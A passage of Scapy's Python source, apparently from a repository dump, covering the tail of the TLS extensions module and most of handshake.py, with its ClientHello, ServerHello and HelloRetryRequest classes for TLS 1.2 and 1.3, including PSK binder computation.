TLS_Ext_TrustedCAInd,\n                4: TLS_Ext_TruncatedHMAC,\n                5: TLS_Ext_CSR,\n                6: TLS_Ext_UserMapping,\n                7: TLS_Ext_ClientAuthz,\n                8: TLS_Ext_ServerAuthz,\n                9: _TLS_Ext_CertTypeDispatcher,\n                # 10: TLS_Ext_SupportedEllipticCurves,\n                10: TLS_Ext_SupportedGroups,\n                11: TLS_Ext_SupportedPointFormat,\n                13: TLS_Ext_SignatureAlgorithms,\n                0x0f: TLS_Ext_Heartbeat,\n                0x10: TLS_Ext_ALPN,\n                0x15: TLS_Ext_Padding,\n                0x16: TLS_Ext_EncryptThenMAC,\n                0x17: TLS_Ext_ExtendedMasterSecret,\n                0x1c: TLS_Ext_RecordSizeLimit,\n                0x23: TLS_Ext_SessionTicket,\n                # 0x28: TLS_Ext_KeyShare,\n                0x29: TLS_Ext_PreSharedKey,\n                0x2a: TLS_Ext_EarlyDataIndication,\n                0x2b: TLS_Ext_SupportedVersions,\n                0x2c: TLS_Ext_Cookie,\n                0x2d: TLS_Ext_PSKKeyExchangeModes,\n                # 0x2e: TLS_Ext_TicketEarlyDataInfo,\n                0x31: TLS_Ext_PostHandshakeAuth,\n                0x32: TLS_Ext_SignatureAlgorithmsCert,\n                0x33: TLS_Ext_KeyShare,\n                # 0x2f: TLS_Ext_CertificateAuthorities,       #XXX\n                # 0x30: TLS_Ext_OIDFilters,                   #XXX\n                0x39: TLS_Ext_QUICTransportParameters,\n                0x3374: TLS_Ext_NPN,\n                0xff01: TLS_Ext_RenegotiationInfo,\n                0xffce: TLS_Ext_EncryptedServerName\n                }\n\n\nclass _ExtensionsLenField(FieldLenField):\n    def getfield(self, pkt, s):\n        \"\"\"\n        We try to compute a length, usually from a msglen parsed earlier.\n        If we can not find any length, we consider 'extensions_present'\n        (from RFC 5246) to be False.\n        \"\"\"\n        ext = pkt.get_field(self.length_of)\n        tmp_len = ext.length_from(pkt)\n        if tmp_len is None or tmp_len < 0:\n            v = pkt.tls_session.tls_version\n            if v is None or v < 0x0304:\n                return s, None\n        return super(_ExtensionsLenField, self).getfield(pkt, s)\n\n    def addfield(self, pkt, s, i):\n        \"\"\"\n        There is a hack with the _ExtensionsField.i2len. It works only because\n        we expect _ExtensionsField.i2m to return a string of the same size (if\n        not of the same value) upon successive calls (e.g. through i2len here,\n        then i2m when directly building the _ExtensionsField).\n\n        XXX A proper way to do this would be to keep the extensions built from\n        the i2len call here, instead of rebuilding them later on.\n        \"\"\"\n        if i is None:\n            if self.length_of is not None:\n                fld, fval = pkt.getfield_and_val(self.length_of)\n\n                tmp = pkt.tls_session.frozen\n                pkt.tls_session.frozen = True\n                f = fld.i2len(pkt, fval)\n                pkt.tls_session.frozen = tmp\n\n                i = self.adjust(pkt, f)\n                if i == 0:  # for correct build if no ext and not explicitly 0\n                    v = pkt.tls_session.tls_version\n                    # With TLS 1.3, zero lengths are always explicit.\n                    if v is None or v < 0x0304:\n                        return s\n                    else:\n                        return s + struct.pack(self.fmt, i)\n        return s + struct.pack(self.fmt, i)\n\n\nclass _ExtensionsField(StrLenField):\n    islist = 1\n    holds_packets = 1\n\n    def i2len(self, pkt, i):\n        if i is None:\n            return 0\n        return len(self.i2m(pkt, i))\n\n    def getfield(self, pkt, s):\n        tmp_len = self.length_from(pkt) or 0\n        if tmp_len <= 0:\n            return s, []\n        return s[tmp_len:], self.m2i(pkt, s[:tmp_len])\n\n    def i2m(self, pkt, i):\n        if i is None:\n            return b\"\"\n        if isinstance(pkt, _GenericTLSSessionInheritance):\n            if not pkt.tls_session.frozen:\n                s = b\"\"\n                for ext in i:\n                    if isinstance(ext, _GenericTLSSessionInheritance):\n                        ext.tls_session = pkt.tls_session\n                        s += ext.raw_stateful()\n                    else:\n                        s += raw(ext)\n                return s\n        return b\"\".join(map(raw, i))\n\n    def m2i(self, pkt, m):\n        res = []\n        while len(m) >= 4:\n            t = struct.unpack(\"!H\", m[:2])[0]\n            tmp_len = struct.unpack(\"!H\", m[2:4])[0]\n            cls = _tls_ext_cls.get(t, TLS_Ext_Unknown)\n            if cls is TLS_Ext_KeyShare:\n                # TLS_Ext_KeyShare can be :\n                #  - TLS_Ext_KeyShare_CH if the message is a ClientHello\n                #  - TLS_Ext_KeyShare_SH if the message is a ServerHello\n                #    and all parameters are accepted by the serveur\n                #  - TLS_Ext_KeyShare_HRR if message is a ServerHello and\n                #    the client has not provided a sufficient \"key_share\"\n                #    extension\n                from scapy.layers.tls.keyexchange_tls13 import (\n                    _tls_ext_keyshare_cls, _tls_ext_keyshare_hrr_cls)\n                # If SHA-256(\"HelloRetryRequest\") == server_random,\n                # this message is a HelloRetryRequest\n                if pkt.random_bytes and \\\n                        pkt.random_bytes == _tls_hello_retry_magic:\n                    cls = _tls_ext_keyshare_hrr_cls.get(pkt.msgtype, TLS_Ext_Unknown)  # noqa: E501\n                else:\n                    cls = _tls_ext_keyshare_cls.get(pkt.msgtype, TLS_Ext_Unknown)  # noqa: E501\n            elif cls is TLS_Ext_PreSharedKey:\n                from scapy.layers.tls.keyexchange_tls13 import _tls_ext_presharedkey_cls  # noqa: E501\n                cls = _tls_ext_presharedkey_cls.get(pkt.msgtype, TLS_Ext_Unknown)  # noqa: E501\n            elif cls is TLS_Ext_SupportedVersions:\n                cls = _tls_ext_supported_version_cls.get(pkt.msgtype, TLS_Ext_Unknown)  # noqa: E501\n            elif cls is TLS_Ext_EarlyDataIndication:\n                cls = _tls_ext_early_data_cls.get(pkt.msgtype, TLS_Ext_Unknown)\n            res.append(cls(m[:tmp_len + 4], tls_session=pkt.tls_session))\n            m = m[tmp_len + 4:]\n        if m:\n            res.append(conf.raw_layer(m))\n        return res\n"
  },
  {
    "path": "scapy/layers/tls/handshake.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n#               2019 Romain Perez\n\n\"\"\"\nTLS handshake fields & logic.\n\nThis module covers the handshake TLS subprotocol, except for the key exchange\nmechanisms which are addressed with keyexchange.py.\n\"\"\"\n\nimport math\nimport os\nimport struct\n\nfrom scapy.error import log_runtime, warning\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    Field,\n    FieldLenField,\n    IntField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrFixedLenField,\n    StrLenField,\n    ThreeBytesField,\n    UTCTimeField,\n)\n\nfrom scapy.compat import hex_bytes, orb, raw\nfrom scapy.config import conf, crypto_validator\nfrom scapy.packet import Packet, Raw, Padding\nfrom scapy.utils import randstring, repr_hex\nfrom scapy.layers.x509 import OCSP_Response\nfrom scapy.layers.tls.cert import Cert\nfrom scapy.layers.tls.basefields import (_tls_version, _TLSVersionField,\n                                         _TLSClientVersionField)\nfrom scapy.layers.tls.extensions import (_ExtensionsLenField, _ExtensionsField,\n                                         _cert_status_type,\n                                         TLS_Ext_PostHandshakeAuth,\n                                         TLS_Ext_SupportedVersion_CH,\n                                         TLS_Ext_SignatureAlgorithms,\n                                         TLS_Ext_SupportedVersion_SH,\n                                         TLS_Ext_EarlyDataIndication,\n                                         _tls_hello_retry_magic,\n                                         TLS_Ext_ExtendedMasterSecret,\n                                         TLS_Ext_EncryptThenMAC)\nfrom scapy.layers.tls.keyexchange import (_TLSSignature, _TLSServerParamsField,\n                                          _TLSSignatureField, ServerRSAParams,\n                                          SigAndHashAlgsField, _tls_hash_sig,\n                                          SigAndHashAlgsLenField)\nfrom scapy.layers.tls.session import (_GenericTLSSessionInheritance,\n                                      readConnState, writeConnState)\nfrom scapy.layers.tls.keyexchange_tls13 import TLS_Ext_PreSharedKey_CH\nfrom scapy.layers.tls.crypto.compression import (_tls_compression_algs,\n                                                 _tls_compression_algs_cls,\n                                                 Comp_NULL, _GenericComp,\n                                                 _GenericCompMetaclass)\nfrom scapy.layers.tls.crypto.suites import (_tls_cipher_suites,\n                                            _tls_cipher_suites_cls,\n                                            _GenericCipherSuite,\n                                            _GenericCipherSuiteMetaclass)\nfrom scapy.layers.tls.crypto.hkdf import TLS13_HKDF\n\nif conf.crypto_valid:\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives import hashes\n\n\n###############################################################################\n#   Generic TLS Handshake message                                             #\n###############################################################################\n\n_tls_handshake_type = {0: \"hello_request\", 1: \"client_hello\",\n                       2: \"server_hello\", 3: \"hello_verify_request\",\n                       4: \"session_ticket\", 6: \"hello_retry_request\",\n                       8: \"encrypted_extensions\", 11: \"certificate\",\n                       12: \"server_key_exchange\", 13: \"certificate_request\",\n                       14: \"server_hello_done\", 15: \"certificate_verify\",\n                       16: \"client_key_exchange\", 20: \"finished\",\n                       21: \"certificate_url\", 22: \"certificate_status\",\n                       23: \"supplemental_data\", 24: \"key_update\"}\n\n\nclass _TLSHandshake(_GenericTLSSessionInheritance):\n    \"\"\"\n    Inherited by other Handshake classes to get post_build().\n    Also used as a fallback for unknown TLS Handshake packets.\n    \"\"\"\n    name = \"TLS Handshake Generic message\"\n    fields_desc = [ByteEnumField(\"msgtype\", None, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   StrLenField(\"msg\", \"\",\n                               length_from=lambda pkt: pkt.msglen)]\n\n    def post_build(self, p, pay):\n        tmp_len = len(p)\n        if self.msglen is None:\n            l2 = tmp_len - 4\n            p = struct.pack(\"!I\", (orb(p[0]) << 24) | l2) + p[4:]\n        return p + pay\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        Covers both post_build- and post_dissection- context updates.\n        \"\"\"\n        # RFC8446 sect 4.4.1\n        # \"Note, however, that subsequent post-handshake authentications do not\n        # include each other, just the messages through the end of the main\n        # handshake.\"\n        if self.tls_session.post_handshake:\n            self.tls_session.post_handshake_messages.append(msg_str)\n        else:\n            self.tls_session.handshake_messages.append(msg_str)\n            self.tls_session.handshake_messages_parsed.append(self)\n\n\n###############################################################################\n#   HelloRequest                                                              #\n###############################################################################\n\nclass TLSHelloRequest(_TLSHandshake):\n    name = \"TLS Handshake - Hello Request\"\n    fields_desc = [ByteEnumField(\"msgtype\", 0, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None)]\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        Message should not be added to the list of handshake messages\n        that will be hashed in the finished and certificate verify messages.\n        \"\"\"\n        return\n\n\n###############################################################################\n#   ClientHello fields                                                        #\n###############################################################################\n\nclass _GMTUnixTimeField(UTCTimeField):\n    \"\"\"\n    \"The current time and date in standard UNIX 32-bit format (seconds since\n     the midnight starting Jan 1, 1970, GMT, ignoring leap seconds).\"\n    \"\"\"\n\n    def i2h(self, pkt, x):\n        if x is not None:\n            return x\n        return 0\n\n    def i2m(self, pkt, x):\n        return int(x) if x is not None else 0\n\n\nclass _TLSRandomBytesField(StrFixedLenField):\n    def i2repr(self, pkt, x):\n        if x is None:\n            return repr(x)\n        return repr_hex(self.i2h(pkt, x))\n\n\nclass _SessionIDField(StrLenField):\n    \"\"\"\n    opaque SessionID<0..32>; section 7.4.1.2 of RFC 4346\n    \"\"\"\n    pass\n\n\nclass _CipherSuitesField(StrLenField):\n    __slots__ = [\"itemfmt\", \"itemsize\", \"i2s\", \"s2i\"]\n    islist = 1\n\n    def __init__(self, name, default, dico, length_from=None, itemfmt=\"!H\"):\n        StrLenField.__init__(self, name, default, length_from=length_from)\n        self.itemfmt = itemfmt\n        self.itemsize = struct.calcsize(itemfmt)\n        i2s = self.i2s = {}\n        s2i = self.s2i = {}\n        for k in dico.keys():\n            i2s[k] = dico[k]\n            s2i[dico[k]] = k\n\n    def any2i_one(self, pkt, x):\n        if isinstance(x, (_GenericCipherSuite, _GenericCipherSuiteMetaclass)):\n            x = x.val\n        if isinstance(x, bytes):\n            x = self.s2i[x]\n        return x\n\n    def i2repr_one(self, pkt, x):\n        fmt = \"0x%%0%dx\" % self.itemsize\n        return self.i2s.get(x, fmt % x)\n\n    def any2i(self, pkt, x):\n        if x is None:\n            return None\n        if not isinstance(x, list):\n            x = [x]\n        return [self.any2i_one(pkt, z) for z in x]\n\n    def i2repr(self, pkt, x):\n        if x is None:\n            return \"None\"\n        tmp_len = [self.i2repr_one(pkt, z) for z in x]\n        if len(tmp_len) == 1:\n            tmp_len = tmp_len[0]\n        else:\n            tmp_len = \"[%s]\" % \", \".join(tmp_len)\n        return tmp_len\n\n    def i2m(self, pkt, val):\n        if val is None:\n            val = []\n        return b\"\".join(struct.pack(self.itemfmt, x) for x in val)\n\n    def m2i(self, pkt, m):\n        res = []\n        itemlen = struct.calcsize(self.itemfmt)\n        while m:\n            res.append(struct.unpack(self.itemfmt, m[:itemlen])[0])\n            m = m[itemlen:]\n        return res\n\n    def i2len(self, pkt, i):\n        if i is None:\n            return 0\n        return len(i) * self.itemsize\n\n\nclass _CompressionMethodsField(_CipherSuitesField):\n\n    def any2i_one(self, pkt, x):\n        if isinstance(x, (_GenericComp, _GenericCompMetaclass)):\n            x = x.val\n        if isinstance(x, str):\n            x = self.s2i[x]\n        return x\n\n\n###############################################################################\n#   ClientHello                                                               #\n###############################################################################\n\nclass TLSClientHello(_TLSHandshake):\n    \"\"\"\n    TLS ClientHello, with abilities to handle extensions.\n\n    The Random structure follows the RFC 5246: while it is 32-byte long,\n    many implementations use the first 4 bytes as a gmt_unix_time, and then\n    the remaining 28 byts should be completely random. This was designed in\n    order to (sort of) mitigate broken RNGs. If you prefer to show the full\n    32 random bytes without any GMT time, just comment in/out the lines below.\n    \"\"\"\n    name = \"TLS Handshake - Client Hello\"\n    fields_desc = [ByteEnumField(\"msgtype\", 1, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _TLSClientVersionField(\"version\", None, _tls_version),\n\n                   # _TLSRandomBytesField(\"random_bytes\", None, 32),\n                   _GMTUnixTimeField(\"gmt_unix_time\", None),\n                   _TLSRandomBytesField(\"random_bytes\", None, 28),\n\n                   FieldLenField(\"sidlen\", None, fmt=\"B\", length_of=\"sid\"),\n                   _SessionIDField(\"sid\", \"\",\n                                   length_from=lambda pkt: pkt.sidlen),\n\n                   FieldLenField(\"cipherslen\", None, fmt=\"!H\",\n                                 length_of=\"ciphers\"),\n                   _CipherSuitesField(\"ciphers\", None,\n                                      _tls_cipher_suites, itemfmt=\"!H\",\n                                      length_from=lambda pkt: pkt.cipherslen),\n\n                   FieldLenField(\"complen\", None, fmt=\"B\", length_of=\"comp\"),\n                   _CompressionMethodsField(\"comp\", [0],\n                                            _tls_compression_algs,\n                                            itemfmt=\"B\",\n                                            length_from=lambda pkt: pkt.complen),  # noqa: E501\n\n                   _ExtensionsLenField(\"extlen\", None, length_of=\"ext\"),\n                   _ExtensionsField(\"ext\", None,\n                                    length_from=lambda pkt: (pkt.msglen -\n                                                             (pkt.sidlen or 0) -  # noqa: E501\n                                                             (pkt.cipherslen or 0) -  # noqa: E501\n                                                             (pkt.complen or 0) -  # noqa: E501\n                                                             40))]\n\n    def post_build(self, p, pay):\n        if self.random_bytes is None:\n            p = p[:10] + randstring(28) + p[10 + 28:]\n\n        # if no ciphersuites were provided, we add a few usual, supported\n        # ciphersuites along with the appropriate extensions\n        if self.ciphers is None:\n            cipherstart = 39 + (self.sidlen or 0)\n            s = b\"001ac02bc023c02fc027009e0067009c003cc009c0130033002f000a\"\n            p = p[:cipherstart] + hex_bytes(s) + p[cipherstart + 2:]\n            if self.ext is None:\n                ext_len = b'\\x00\\x2c'\n                ext_reneg = b'\\xff\\x01\\x00\\x01\\x00'\n                ext_sn = b'\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\nsecdev.org'\n                ext_sigalg = b'\\x00\\r\\x00\\x08\\x00\\x06\\x04\\x03\\x04\\x01\\x02\\x01'\n                ext_supgroups = b'\\x00\\n\\x00\\x04\\x00\\x02\\x00\\x17'\n                p += ext_len + ext_reneg + ext_sn + ext_sigalg + ext_supgroups\n\n        return super(TLSClientHello, self).post_build(p, pay)\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        Either for parsing or building, we store the client_random\n        along with the raw string representing this handshake message.\n        \"\"\"\n        super(TLSClientHello, self).tls_session_update(msg_str)\n        s = self.tls_session\n        s.advertised_tls_version = self.version\n        # This ClientHello could be a 1.3 one. Let's store the sid\n        # in all cases\n        if self.sidlen and self.sidlen > 0:\n            s.sid = self.sid\n        self.random_bytes = msg_str[10:38]\n        s.client_random = (struct.pack('!I', self.gmt_unix_time) +\n                           self.random_bytes)\n\n        # No distinction between a TLS 1.2 ClientHello and a TLS\n        # 1.3 ClientHello when dissecting : TLS 1.3 CH will be\n        # parsed as TLSClientHello\n        if self.ext:\n            for e in self.ext:\n                if isinstance(e, TLS_Ext_SupportedVersion_CH):\n                    for ver in sorted(e.versions, reverse=True):\n                        # RFC 8701: GREASE of TLS will send unknown versions\n                        # here. We have to ignore them\n                        if ver in _tls_version:\n                            s.advertised_tls_version = ver\n                            break\n                    if s.sid:\n                        s.middlebox_compatibility = True\n                if isinstance(e, TLS_Ext_SignatureAlgorithms):\n                    s.advertised_sig_algs = e.sig_algs\n                if isinstance(e, TLS_Ext_PostHandshakeAuth):\n                    s.post_handshake_auth = True\n\n\nclass TLS13ClientHello(_TLSHandshake):\n    \"\"\"\n    TLS 1.3 ClientHello, with abilities to handle extensions.\n\n    The Random structure is 32 random bytes without any GMT time\n    \"\"\"\n    name = \"TLS 1.3 Handshake - Client Hello\"\n    fields_desc = [ByteEnumField(\"msgtype\", 1, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _TLSClientVersionField(\"version\", None, _tls_version),\n\n                   _TLSRandomBytesField(\"random_bytes\", None, 32),\n\n                   FieldLenField(\"sidlen\", None, fmt=\"B\", length_of=\"sid\"),\n                   _SessionIDField(\"sid\", \"\",\n                                   length_from=lambda pkt: pkt.sidlen),\n\n                   FieldLenField(\"cipherslen\", None, fmt=\"!H\",\n                                 length_of=\"ciphers\"),\n                   _CipherSuitesField(\"ciphers\", None,\n                                      _tls_cipher_suites, itemfmt=\"!H\",\n                                      length_from=lambda pkt: pkt.cipherslen),\n\n                   FieldLenField(\"complen\", None, fmt=\"B\", length_of=\"comp\"),\n                   _CompressionMethodsField(\"comp\", [0],\n                                            _tls_compression_algs,\n                                            itemfmt=\"B\",\n                                            length_from=lambda pkt: pkt.complen),  # noqa: E501\n\n                   _ExtensionsLenField(\"extlen\", None, length_of=\"ext\"),\n                   _ExtensionsField(\"ext\", None,\n                                    length_from=lambda pkt: (pkt.msglen -\n                                                             (pkt.sidlen or 0) -  # noqa: E501\n                                                             (pkt.cipherslen or 0) -  # noqa: E501\n                                                             (pkt.complen or 0) -  # noqa: E501\n                                                             40))]\n\n    def post_build(self, p, pay):\n        if self.random_bytes is None:\n            p = p[:6] + randstring(32) + p[6 + 32:]\n        # We don't call the post_build function from class _TLSHandshake\n        # to compute the message length because we need that value now\n        # for the HMAC in binder\n        tmp_len = len(p)\n        if self.msglen is None:\n            sz = tmp_len - 4\n            p = struct.pack(\"!I\", (orb(p[0]) << 24) | sz) + p[4:]\n        s = self.tls_session\n        if self.ext:\n            for e in self.ext:\n                if isinstance(e, TLS_Ext_PreSharedKey_CH):\n                    if s.client_session_ticket:\n                        # For a resumed PSK, the hash function use\n                        # to compute the binder must be the same\n                        # as the one used to establish the original\n                        # connection. For that, we assume that\n                        # the ciphersuite associate with the ticket\n                        # is given as argument to tlsSession\n                        # (see layers/tls/automaton_cli.py for an\n                        # example)\n                        res_suite = s.tls13_ticket_ciphersuite\n                        cs_cls = _tls_cipher_suites_cls[res_suite]\n                        hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower())\n                        hash_len = hkdf.hash.digest_size\n                        s.compute_tls13_early_secrets(external=False)\n                    else:\n                        # For out of band PSK, SHA-256 is used as default\n                        # hash functions for HKDF\n                        hkdf = TLS13_HKDF(\"sha256\")\n                        hash_len = hkdf.hash.digest_size\n                        s.compute_tls13_early_secrets(external=True)\n\n                    # RFC8446 4.2.11.2\n                    # \"Each entry in the binders list is computed as an HMAC\n                    # over a transcript hash (see Section 4.4.1) containing a\n                    # partial ClientHello up to and including the\n                    # PreSharedKeyExtension.identities field.\"\n                    # PSK Binders field is :\n                    #   - PSK Binders length (2 bytes)\n                    #   - First PSK Binder length (1 byte) +\n                    #         HMAC (hash_len bytes)\n                    # The PSK Binder is computed in the same way as the\n                    # Finished message with binder_key as BaseKey\n\n                    handshake_context = b\"\"\n                    if s.tls13_retry:\n                        for m in s.handshake_messages:\n                            handshake_context += m\n                    handshake_context += p[:-hash_len - 3]\n\n                    binder_key = s.tls13_derived_secrets[\"binder_key\"]\n                    psk_binder = hkdf.compute_verify_data(binder_key,\n                                                          handshake_context)\n\n                    # Here, we replaced the last 32 bytes of the packet by the\n                    # new HMAC values computed over the ClientHello (without\n                    # the binders)\n                    p = p[:-hash_len] + psk_binder\n\n        return p + pay\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        Either for parsing or building, we store the client_random\n        along with the raw string representing this handshake message.\n        \"\"\"\n        super(TLS13ClientHello, self).tls_session_update(msg_str)\n        s = self.tls_session\n\n        if self.sidlen and self.sidlen > 0:\n            s.sid = self.sid\n            s.middlebox_compatibility = True\n\n        self.random_bytes = msg_str[6:38]\n        s.client_random = self.random_bytes\n        if self.ext:\n            for e in self.ext:\n                if isinstance(e, TLS_Ext_SupportedVersion_CH):\n                    for ver in sorted(e.versions, reverse=True):\n                        # RFC 8701: GREASE of TLS will send unknown versions\n                        # here. We have to ignore them\n                        if ver in _tls_version:\n                            s.advertised_tls_version = ver\n                            break\n                if isinstance(e, TLS_Ext_SignatureAlgorithms):\n                    s.advertised_sig_algs = e.sig_algs\n                if isinstance(e, TLS_Ext_PostHandshakeAuth):\n                    s.post_handshake_auth = True\n\n\n###############################################################################\n#   ServerHello                                                               #\n###############################################################################\n\n\nclass TLSServerHello(_TLSHandshake):\n    \"\"\"\n    TLS ServerHello, with abilities to handle extensions.\n\n    The Random structure follows the RFC 5246: while it is 32-byte long,\n    many implementations use the first 4 bytes as a gmt_unix_time, and then\n    the remaining 28 byts should be completely random. This was designed in\n    order to (sort of) mitigate broken RNGs. If you prefer to show the full\n    32 random bytes without any GMT time, just comment in/out the lines below.\n    \"\"\"\n    name = \"TLS Handshake - Server Hello\"\n    fields_desc = [ByteEnumField(\"msgtype\", 2, _tls_handshake_type),\n                   ThreeBytesField(\"msglen\", None),\n                   _TLSVersionField(\"version\", None, _tls_version),\n\n                   # _TLSRandomBytesField(\"random_bytes\", None, 32),\n                   _GMTUnixTimeField(\"gmt_unix_time\", None),\n                   _TLSRandomBytesField(\"random_bytes\", None, 28),\n\n                   FieldLenField(\"sidlen\", None, length_of=\"sid\", fmt=\"B\"),\n                   _SessionIDField(\"sid\", \"\",\n                                   length_from=lambda pkt: pkt.sidlen),\n\n                   ShortEnumField(\"cipher\", None, _tls_cipher_suites),\n                   _CompressionMethodsField(\"comp\", [0],\n                                            _tls_compression_algs,\n                                            itemfmt=\"B\",\n                                            length_from=lambda pkt: 1),\n\n                   _ExtensionsLenField(\"extlen\", None, length_of=\"ext\"),\n                   _ExtensionsField(\"ext\", None,\n                                    length_from=lambda pkt: (\n                                        pkt.msglen - (pkt.sidlen or 0) - 40\n                                    ))]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 6:\n            version = struct.unpack(\"!H\", _pkt[4:6])[0]\n            if version == 0x0304 or version > 0x7f00:\n                return TLS13ServerHello\n        return TLSServerHello\n\n    def build(self, *args, **kargs):\n        if self.getfieldval(\"sid\") == b\"\" and self.tls_session:\n            self.sid = self.tls_session.sid\n        return super(TLSServerHello, self).build(*args, **kargs)\n\n    def post_build(self, p, pay):\n        if self.random_bytes is None:\n            p = p[:10] + randstring(28) + p[10 + 28:]\n        return super(TLSServerHello, self).post_build(p, pay)\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        Either for parsing or building, we store the server_random\n        along with the raw string representing this handshake message.\n        We also store the session_id, the cipher suite (if recognized),\n        the compression method, and finally we instantiate the pending write\n        and read connection states. Usually they get updated later on in the\n        negotiation when we learn the session keys, and eventually they\n        are committed once a ChangeCipherSpec has been sent/received.\n        \"\"\"\n        super(TLSServerHello, self).tls_session_update(msg_str)\n\n        s = self.tls_session\n        s.tls_version = self.version\n        if hasattr(self, 'gmt_unix_time'):\n            self.random_bytes = msg_str[10:38]\n            s.server_random = (struct.pack('!I', self.gmt_unix_time) +\n                               self.random_bytes)\n        else:\n            s.server_random = self.random_bytes\n        s.sid = self.sid\n\n        if self.ext:\n            for e in self.ext:\n                if isinstance(e, TLS_Ext_ExtendedMasterSecret):\n                    self.tls_session.extms = True\n                if isinstance(e, TLS_Ext_EncryptThenMAC):\n                    self.tls_session.encrypt_then_mac = True\n\n        cs_cls = None\n        if self.cipher:\n            cs_val = self.cipher\n            if cs_val not in _tls_cipher_suites_cls:\n                warning(\"Unknown cipher suite %d from ServerHello\", cs_val)\n                # we do not try to set a default nor stop the execution\n            else:\n                cs_cls = _tls_cipher_suites_cls[cs_val]\n\n        comp_cls = Comp_NULL\n        if self.comp:\n            comp_val = self.comp[0]\n            if comp_val not in _tls_compression_algs_cls:\n                err = \"Unknown compression alg %d from ServerHello\"\n                warning(err, comp_val)\n                comp_val = 0\n            comp_cls = _tls_compression_algs_cls[comp_val]\n\n        connection_end = s.connection_end\n        s.pwcs = writeConnState(ciphersuite=cs_cls,\n                                compression_alg=comp_cls,\n                                connection_end=connection_end,\n                                tls_version=self.version)\n        s.prcs = readConnState(ciphersuite=cs_cls,\n                               compression_alg=comp_cls,\n                               connection_end=connection_end,\n                               tls_version=self.version)\n\n\n_tls_13_server_hello_fields = [\n    ByteEnumField(\"msgtype\", 2, _tls_handshake_type),\n    ThreeBytesField(\"msglen\", None),\n    _TLSVersionField(\"version\", 0x0303, _tls_version),\n    _TLSRandomBytesField(\"random_bytes\", None, 32),\n    FieldLenField(\"sidlen\", None, length_of=\"sid\", fmt=\"B\"),\n    _SessionIDField(\"sid\", \"\",\n                    length_from=lambda pkt: pkt.sidlen),\n    ShortEnumField(\"cipher\", None, _tls_cipher_suites),\n    _CompressionMethodsField(\"comp\", [0],\n                             _tls_compression_algs,\n                             itemfmt=\"B\",\n                             length_from=lambda pkt: 1),\n    _ExtensionsLenField(\"extlen\", None, length_of=\"ext\"),\n    _ExtensionsField(\"ext\", None,\n                     length_from=lambda pkt: (pkt.msglen -\n                                              38))\n]\n\n\nclass TLS13ServerHello(TLSServerHello):\n    \"\"\" TLS 1.3 ServerHello \"\"\"\n    name = \"TLS 1.3 Handshake - Server Hello\"\n    fields_desc = _tls_13_server_hello_fields\n\n    # ServerHello and HelloRetryRequest has the same structure and the same\n    # msgId. We need to check the server_random value to determine which it is.\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 38:\n            # If SHA-256(\"HelloRetryRequest\") == server_random,\n            # this message is a HelloRetryRequest\n            random_bytes = _pkt[6:38]\n            if random_bytes == _tls_hello_retry_magic:\n                return TLS13HelloRetryRequest\n        return TLS13ServerHello\n\n    def post_build(self, p, pay):\n        if self.random_bytes is None:\n            p = p[:6] + randstring(32) + p[6 + 32:]\n        return super(TLS13ServerHello, self).post_build(p, pay)\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        Either for parsing or building, we store the server_random along with\n        the raw string representing this handshake message. We also store the\n        cipher suite (if recognized), and finally we instantiate the write and\n        read connection states.\n        \"\"\"\n        s = self.tls_session\n        s.server_random = self.random_bytes\n        s.ciphersuite = self.cipher\n        s.tls_version = self.version\n        # Check extensions\n        if self.ext:\n            for e in self.ext:\n                if isinstance(e, TLS_Ext_SupportedVersion_SH):\n                    s.tls_version = e.version\n                    break\n\n        if s.tls_version < 0x304:\n            # This means that the server does not support TLS 1.3 and ignored\n            # the initial TLS 1.3 ClientHello. tls_version has been updated\n            return TLSServerHello.tls_session_update(self, msg_str)\n        else:\n            _TLSHandshake.tls_session_update(self, msg_str)\n\n        cs_cls = None\n        if self.cipher:\n            cs_val = self.cipher\n            if cs_val not in _tls_cipher_suites_cls:\n                warning(\"Unknown cipher suite %d from ServerHello\", cs_val)\n                # we do not try to set a default nor stop the execution\n            else:\n                cs_cls = _tls_cipher_suites_cls[cs_val]\n\n        connection_end = s.connection_end\n        if connection_end == \"server\":\n            s.pwcs = writeConnState(ciphersuite=cs_cls,\n                                    connection_end=connection_end,\n                                    tls_version=s.tls_version)\n\n            if not s.middlebox_compatibility:\n                s.triggered_pwcs_commit = True\n        elif connection_end == \"client\":\n            s.prcs = readConnState(ciphersuite=cs_cls,\n                                   connection_end=connection_end,\n                                   tls_version=s.tls_version)\n            if not s.middlebox_compatibility:\n                s.triggered_prcs_commit = True\n\n        if s.tls13_early_secret is None:\n            # In case the connState was not pre-initialized, we could not\n            # compute the early secrets at the ClientHello, so we do it here.\n            s.compute_tls13_early_secrets()\n        s.compute_tls13_handshake_secrets()\n        if connection_end == \"server\":\n            shts = s.tls13_derived_secrets[\"server_handshake_traffic_secret\"]\n            s.pwcs.tls13_derive_keys(shts)\n        elif connection_end == \"client\":\n            shts = s.tls13_derived_secrets[\"server_handshake_traffic_secret\"]\n            s.prcs.tls13_derive_keys(shts)\n\n\n###############################################################################\n#   HelloRetryRequest                                                         #\n###############################################################################\n\nclass TLS13HelloRetryRequest(_TLSHandshake):\n    name = \"TLS 1.3 Handshake - Hello Retry Request\"\n\n    fields_desc = _tls_13_server_hello_fields\n\n    def 